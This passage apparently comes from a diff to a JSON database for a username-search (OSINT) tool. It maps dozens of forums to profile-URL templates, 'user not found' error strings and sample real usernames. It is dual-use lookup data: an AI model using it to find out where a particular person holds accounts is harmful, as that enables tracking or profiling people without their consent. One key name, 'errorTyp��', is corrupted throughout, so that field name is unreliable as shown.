"https://mysurvivalforum.com", + "usernameON": "mekada", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_mytractor": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mytractorforum.com/members/?username={}", + "urlMain": "https://www.mytractorforum.com", + "usernameON": "fuzzy2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mytrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mytrans.3dn.ru/index/8-0-{}", + "urlMain": "https://mytrans.3dn.ru", + "usernameON": "kirilvoshnovskiy", + "bad_site": "" + }, + "Forum_myvisualdatabase": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users were", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search", + "urlMain": "https://myvisualdatabase.com", + "usernameON": "DriveSoft", + "bad_site": "" + }, + "Forum_myword": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myword.borda.ru/?32-{}", + "urlMain": "https://myword.borda.ru", + "usernameON": "kaccob", + "bad_site": "" + }, + "Forum_myxlam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myxlam.clan.su/index/8-0-{}", + "urlMain": "https://myxlam.clan.su", + "usernameON": "nagimrasul", + "bad_site": "" + }, + "Forum_mzee": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mzee.com/forum/members/?username={}", + "urlMain": "https://www.mzee.com", + "usernameON": "eduardo", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_n2td": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.n2td.org/index.php?members/&username={}", + "urlMain": "https://forum.n2td.org", + "usernameON": "dylansmall", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nabran": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.nabran.ru/index/8-0-{}", + "urlMain": "http://www.nabran.ru/", + "usernameON": "ghgjjg", + "bad_site": "" + }, + "Forum_nada25": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nada25.ucoz.ru/index/8-0-{}", + "urlMain": "https://nada25.ucoz.ru", + "usernameON": "svn", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nag": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пожалуйста, подождите", + "errorMsg2": "| Cloudflare", + "errorMsg3": "0 результатов", + "errorTyp��": "message", + "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any", + "urlMain": "https://forum.nag.ru", + "usernameON": "frol13", + "bad_site": "" + }, + "Forum_nameberry": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.nameberry.com/u/{}/summary", + "urlMain": "https://forum.nameberry.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Namepros": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.namepros.com/members/?username={}", + "urlMain": "https://www.namepros.com", + "usernameON": "velted", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_napolimagazine": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio", + "errorMsg2": "Al momento non ti", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca", + "urlMain": "https://www.napolimagazine.info/", + "usernameON": "pinos", + "bad_site": "" + }, + "Forum_narkomanija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.narkomanija.ba", + "usernameON": "sanela", + "bad_site": "" + }, + "Forum_narutoshiprus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}", + "urlMain": "https://narutoshiprus.ucoz.ru", + "usernameON": "fint333", + "bad_site": "" + }, + "Forum_nash-dialog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nash-dialog.com/members/?username={}", + "urlMain": "https://nash-dialog.com", + "usernameON": "nuarr", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nashaplaneta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользоват", + "errorTyp��": "message", + "url": "https://nashaplaneta.net/forum/memberlist.php?username={}", + "urlMain": "https://nashaplaneta.net", + "usernameON": "nausla", + "bad_site": "" + }, + "Forum_nashausadba": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nashausadba.com.ua/forum/members/?username={}", + "urlMain": "https://nashausadba.com.ua", + "usernameON": "manana", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nashtransport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry", + "urlMain": "https://www.nashtransport.ru", + "usernameON": "kventz", + "bad_site": "" + }, + "Forum_nationsglory": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Erreur", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Pseudo inexistant", + "errorTyp��": "message", + "url": "https://nationsglory.fr/profile/{}", + "urlMain": "https://nationsglory.fr", + "usernameON": "nimomoney", + "bad_site": "" + }, + "Forum_navi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=", + "urlMain": "https://forum.navi.gg/", + "usernameON": "termenator46", + "bad_site": "" + }, + "Forum_navyclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://navyclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://navyclub.ucoz.ru", + "usernameON": "Delfa", + "bad_site": "" + }, + "Forum_naydemvam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://naydemvam.naydemvam.ru", + "usernameON": "Urri", + "bad_site": "" + }, + "Forum_nba777": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nba777.ucoz.ru/index/8-0-{}", + "urlMain": "https://nba777.ucoz.ru", + "usernameON": "JustinFem", + "bad_site": "" + }, + "Forum_nbcsportsedge": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nbcsportsedge.com", + "usernameON": "Jtraysfan", + "bad_site": 1 + }, + "Forum_Ne-kurim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ne-kurim.ru/members/?username={}", + "urlMain": "https://ne-kurim.ru/", + "usernameON": "gpp", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_necropolis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://necropolis.ucoz.ru/index/8-0-{}", + "urlMain": "https://necropolis.ucoz.ru", + "usernameON": "RuTOR", + "bad_site": "" + }, + "Forum_nedvizimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nedvizimost.ucoz.ru/index/8-0-{}", + "urlMain": "https://nedvizimost.ucoz.ru", + "usernameON": "natayovzhik", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nemodniy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "НЕМОДНЫЙ КЛУБ.", + "errorTyp��": "message", + "url": "http://forum.nemodniy.ru/member.php?username={}", + "urlMain": "http://forum.nemodniy.ru", + "usernameON": "MEDBEDb", + "comments": "bad", + "bad_site": 1 + }, + "Forum_neodni": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}", + "urlMain": "http://www.my-neodni.ucoz.ru", + "usernameON": "probe505", + "bad_site": "" + }, + "Forum_neptuneos": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.neptuneos.com/public/u/{}", + "urlMain": "https://forum.neptuneos.com", + "usernameON": "leszek", + "bad_site": "" + }, + "Forum_nerchinsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nerchinsk.ucoz.ru/index/8-0-{}", + "urlMain": "https://nerchinsk.ucoz.ru/", + "usernameON": "tarogadanie11", + "bad_site": "" + }, + "Forum_netcookingtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://netcookingtalk.com/forums/members/?username={}", + "urlMain": "https://netcookingtalk.com", + "usernameON": "rickismom", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_netdietam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://netdietam.ucoz.ru/index/8-0-{}", + "urlMain": "https://netdietam.ucoz.ru/", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_netduma": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.netduma.com", + "usernameON": "vpn", + "bad_site": "" + }, + "Forum_nettractortalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nettractortalk.com/forums/members/?username={}", + "urlMain": "https://www.nettractortalk.com/", + "usernameON": "chennaicontainers", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nevendaar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nevendaar.3dn.ru/index/8-0-{}", + "urlMain": "https://nevendaar.3dn.ru", + "usernameON": "Химера", + "bad_site": "" + }, + "Forum_neveroyatno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://neveroyatno.ucoz.ru/index/8-0-{}", + "urlMain": "https://neveroyatno.ucoz.ru", + "usernameON": "serko78", + "bad_site": "" + }, + "Forum_new-journals": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-journals.at.ua/index/8-0-{}", + "urlMain": "https://new-journals.at.ua", + "usernameON": "petrjarik77", + "bad_site": "" + }, + "Forum_new-nedvigimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-nedvigimost.moy.su/index/8-0-{}", + "urlMain": "https://new-nedvigimost.moy.su", + "usernameON": "olgapet946", + "bad_site": "" + }, + "Forum_newcok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newcok.ru/index/8-0-{}", + "urlMain": "http://newcok.ru/", + "usernameON": "Kass", + "bad_site": "" + }, + "Forum_newjerseyhunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newjerseyhunter.com/members/?username={}", + "urlMain": "https://www.newjerseyhunter.com", + "usernameON": "slayer1962", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newlcn": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Sorry, but that user does not exist.", + "errorMsg2": ">Information</td>", + "errorTyp��": "message", + "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.newlcn.com", + "usernameON": "sckameikin22", + "bad_site": "" + }, + "Forum_newload_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newload.ucoz.ru/index/8-0-{}", + "urlMain": "https://newload.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_newnissanz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newnissanz.com/members/?username={}", + "urlMain": "https://www.newnissanz.com", + "usernameON": "speczracer", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newpower": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newpower.at.ua/index/8-0-{}", + "urlMain": "https://newpower.at.ua", + "usernameON": "kot358194", + "bad_site": "" + }, + "Forum_newrider": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://newrider.com/members/?username={}", + "urlMain": "https://newrider.com", + "usernameON": "trewsers", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newros.ru/index/8-0-{}", + "urlMain": "http://newros.ru", + "usernameON": "mrferos921", + "bad_site": "" + }, + "Forum_newschoolers": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "Sorry, we couldn't find anything that matched your search query.", + "errorTyp��": "message", + "url": "https://www.newschoolers.com/search?tab=members&s={}", + "urlMain": "https://www.newschoolers.com", + "usernameON": "skierman", + "bad_site": "" + }, + "Forum_next-gazel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://next-gazel.ru/forum/member.php?username={}", + "urlMain": "https://next-gazel.ru", + "usernameON": "cmd368tv", + "bad_site": "" + }, + "Forum_nexusmods": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nexusmods.com", + "usernameON": "EvilFixer", + "bad_site": "" + }, + "Forum_nf-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nf-club.ru/index/8-0-{}", + "urlMain": "http://nf-club.ru", + "usernameON": "SloNF", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ngs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": " <div class=\"create-a-post actually-show-error", + "errorMsg2": "Результатов, соответствующих Вашему запросу, не найдено", + "errorTyp��": "message", + "url": "https://forum.ngs.ru/search/?words={}&forum=all&match=username&limit=25", + "urlMain": "https://forum.ngs.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_nicolaspark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nicolaspark.my1.ru/index/8-0-{}", + "urlMain": "https://nicolaspark.my1.ru", + "usernameON": "fox", + "bad_site": "" + }, + "Forum_niflheim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://niflheim.world/members/?username={}", + "urlMain": "https://niflheim.world", + "usernameON": "mouro3100", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_Night_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://night.kharkov.ua/index/8-0-{}", + "urlMain": "http://night.kharkov.ua", + "usernameON": "lauraao1", + "bad_site": "" + }, + "Forum_nikmc": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nikmc-i.ucoz.ru/index/8-0-{}", + "urlMain": "http://nikmc-i.ucoz.ru", + "usernameON": "zaiacsania", + "bad_site": "" + }, + "Forum_nikola": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikola-apx.ucoz.ru/index/8-0-{}", + "urlMain": "https://nikola-apx.ucoz.ru", + "usernameON": "Ilya", + "bad_site": "" + }, + "Forum_nikonites": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nikonites.com/forum/members/?username={}", + "urlMain": "https://nikonites.com/", + "usernameON": "weebee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nikopol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikopol.moy.su/index/8-0-{}", + "urlMain": "https://nikopol.moy.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_nikos": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nikos.at.ua/index/8-0-{}", + "urlMain": "https://nikos.at.ua", + "usernameON": "Saymon", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nim-lang": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.nim-lang.org/profile/{}", + "urlMain": "https://forum.nim-lang.org", + "usernameON": "SolitudeSF", + "bad_site": "" + }, + "Forum_nintendo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nintendoforums.com/members/?username={}", + "urlMain": "https://www.nintendoforums.com", + "usernameON": "dustinb12", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nissan": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanforums.com/members/?username={}", + "urlMain": "https://www.nissanforums.com", + "usernameON": "weeaboo123", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanclub": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanclub.com/members/?username={}", + "urlMain": "https://www.nissanclub.com", + "usernameON": "administrator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanzclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanzclub.com/forum/members/?username={}", + "urlMain": "https://www.nissanzclub.com", + "usernameON": "mcn1smo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_njofficer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Contact your hosting provider", + "errorTyp��": "message", + "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.njofficer.com", + "usernameON": "JRoberts", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_nkp": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nn2000.ucoz.ru/index/8-0-{}", + "urlMain": "https://nn2000.ucoz.ru", + "usernameON": "nn2000", + "bad_site": "" + }, + "Forum_nocd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nocd.ru/index/8-0-{}", + "urlMain": "https://nocd.ru", + "usernameON": "Fridrih", + "bad_site": "" + }, + "Forum_noginsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://noginsk.ucoz.com/index/8-0-{}", + "urlMain": "https://noginsk.ucoz.com", + "usernameON": "Skyler", + "bad_site": "" + }, + "Forum_nohide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nohide.io/members/?username={}", + "urlMain": "https://nohide.io", + "usernameON": "gamerocs", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nokia6230i": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://nokia6230i.ucoz.ru/index/8-0-{}", + "urlMain": "https://nokia6230i.ucoz.ru", + "usernameON": "Dim0271", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nokiasoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "url": "https://nokiasoft.3dn.ru/index/8-0-{}", + "urlMain": "https://nokiasoft.3dn.ru", + "usernameON": "OOccuts", + "bad_site": "", + "comments": "bad", + "exclusion": "\\W" + }, + "Forum_nomadbsd": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.nomadbsd.org/u/{}/summary", + "urlMain": "https://forum.nomadbsd.org", + "usernameON": "borgio3", + "bad_site": "" + }, + "Forum_nonarko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum-nonarko.ru/members/?username={}", + "urlMain": "https://forum-nonarko.ru", + "usernameON": "GAVR", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nooneaboveus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}", + "urlMain": "https://nooneaboveus.ucoz.ru", + "usernameON": "Лана", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nordog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nordog.ucoz.ru/index/8-0-{}", + "urlMain": "https://nordog.ucoz.ru", + "usernameON": "gutan1201", + "bad_site": "" + }, + "Forum_northernbrewer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.northernbrewer.com/users/{}/activity", + "urlMain": "https://forum.northernbrewer.com", + "usernameON": "joonze", + "bad_site": "" + }, + "Forum_northstandchat": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.northstandchat.com/members/?username={}", + "urlMain": "https://www.northstandchat.com", + "usernameON": "hitony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nosmoking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}", + "urlMain": "https://nosmoking.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_Not_606": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://not606.com/members/?username={}", + "urlMain": "https://not606.com", + "usernameON": "fromthestands", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nousch1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nousch1.ucoz.ru/index/8-0-{}", + "urlMain": "https://nousch1.ucoz.ru", + "usernameON": "Lostoff", + "bad_site": "" + }, + "Forum_novascotiahunting": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novascotiahunting.com/members/?username={}", + "urlMain": "https://www.novascotiahunting.com", + "usernameON": "3macs1", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.novelupdates.com/members/?username={}", + "urlMain": "https://forum.novelupdates.com", + "usernameON": "lilly2805", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdatesforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novelupdatesforum.com/members/?username={}", + "urlMain": "https://www.novelupdatesforum.com", + "usernameON": "parth37955", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "К сожалению, возникла проблема", + "errorTyp��": "message", + "url": "https://novfishing.ru/search/?&q={}&type=core_members", + "urlMain": "https://novfishing.ru", + "usernameON": "red", + 